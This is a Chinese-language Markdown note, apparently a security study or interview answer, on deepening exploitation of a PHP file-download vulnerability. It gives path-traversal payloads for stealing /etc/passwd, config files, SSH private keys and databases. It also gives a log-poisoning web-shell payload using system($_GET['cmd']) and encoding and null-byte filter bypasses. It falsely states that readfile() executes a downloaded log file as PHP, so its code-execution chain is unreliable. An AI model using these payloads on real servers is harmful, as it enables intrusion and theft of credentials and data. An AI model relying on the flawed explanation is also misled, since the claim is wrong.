Files
2025-09-25 04:00:11 +08:00

87 lines
4.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 如果审计到了一个文件下载漏洞如何深入的去利用
**1. 确认与初步利用**
首先,要确认这是一个真正的文件下载漏洞,而不是一个伪装的假象。通常,漏洞代码看起来是这样的:
```php
<?php
// ...
$file = $_GET['file'];
$path = "/var/www/html/downloads/" . $file;
if (file_exists($path)) {
header("Content-Type: application/octet-stream");
readfile($path);
} else {
echo "File not found.";
}
// ...
?>
```
这里的关键在于 `$file = $_GET['file'];` 这行代码没有对用户输入进行任何过滤
**初步利用方式:**
- **路径遍历(Path Traversal):** 尝试使用 `../` 来向上跳目录,下载服务器上的敏感文件
- **Payload:** `?file=../../../../etc/passwd`
- **目的:** 验证漏洞是否存在,并尝试下载系统敏感文件,如 `/etc/passwd`Linux 用户列表)或 `C:\Windows\System32\drivers\etc\hosts`Windows 主机文件)
- **下载源码:** 尝试下载网站的 PHP 源代码文件。
- **Payload:** `?file=../../../../var/www/html/index.php``?file=../../../../var/www/html/config.php`
- **目的:** 获取网站的数据库连接信息、API密钥或其他硬编码的凭据,为下一步攻击做准备
**2. 深入利用:组合攻击**
如果仅仅是下载文件,漏洞的危害有限。但如果将它与其他漏洞或服务器配置问题结合起来,它的威力会成倍增加。
**场景一:与日志文件结合**
如果服务器的 Web 日志文件可以被下载,而你又可以向日志中写入数据,那么这个文件下载漏洞就可能变成一个**远程代码执行**漏洞
**利用步骤:**
1. **向日志中写入恶意 PHP 代码:**
- 通常,Web 服务器(如 Apache)会记录用户的 User-Agent、Referer 等 HTTP 头信息
- 将你的 User-Agent 设置为包含恶意 PHP 代码,例如:`<?php system('ls -al'); ?>`
- **Payload:** `User-Agent: <?php system($_GET['cmd']); ?>`
- 通过访问一个不存在的页面来触发日志记录
2. **利用文件下载漏洞下载并执行日志文件:**
- 找到日志文件的路径。通常位于 `/var/log/apache2/access.log``/var/log/httpd/access_log`
- **Payload:** `?file=../../../../var/log/apache2/access.log`
- 当服务器执行 `readfile()` 函数时,它会将日志文件作为 PHP 代码来解析并执行
- **执行命令:** 你的浏览器现在会显示 `ls -al` 命令的输出
3. **最终利用:**
- 现在你可以通过在URL中添加 `&cmd=...` 来执行任意命令
- **Payload:** `?file=../../../../var/log/apache2/access.log&cmd=id`
- 你可以通过这个方式上传一个WebShell,从而完全控制服务器
**场景二:与本地文件包含(LFI)漏洞结合**
如果目标服务器存在本地文件包含漏洞,但你不知道路径或无法直接利用,文件下载漏洞可以帮助你获取更多信息
**利用步骤:**
1. **使用文件下载漏洞下载 PHPinfo 文件**
- 找到服务器上的一个 `phpinfo()` 文件(如果有的话)
- **Payload:** `?file=../../../../var/www/html/info.php`
- **目的:** `phpinfo()` 页面会暴露大量敏感信息,包括服务器的配置、环境变量、安装的模块等,这些信息可以帮助你找到新的攻击面
2. **利用 LFI 漏洞包含敏感文件:**
- 如果你发现了一个可以包含文件的漏洞,但是无法直接包含日志文件
- 你可以先利用文件下载漏洞,下载服务器上的`/proc/self/environ`文件。这个文件通常包含进程的环境变量,包括你之前设置的 User-Agent
- 然后,利用LFI漏洞去包含 `/proc/self/environ`,从而执行你注入到 User-Agent 中的代码
**3. 利用思路的扩展**
除了上述两种常见的组合攻击,你还可以尝试以下利用方式:
- **下载 SSH 密钥:** 如果服务器启用了SSH,你可以尝试下载用户的 SSH 密钥
- **Payload:** `?file=../../../../home/user/.ssh/id_rsa`
- **目的:** 使用密钥直接登录服务器,获取 Shell 权限
- **下载数据库文件:**
- 对于 SQLite 等数据库,其数据存储在文件中
- **Payload:** `?file=../../../../var/www/html/database/db.sqlite`
- **目的:** 获取整个数据库的内容,包括用户密码(如果未加密)、个人信息等
- **绕过防御:**
- 如果开发者对 `../` 进行了过滤,可以尝试双重编码 `..%252f` 或其他编码方式来绕过
- 如果路径是硬编码的,例如 `downloads/`,尝试使用空字节 `%00` 来截断路径
- **Payload:** `?file=../../../../etc/passwd%00`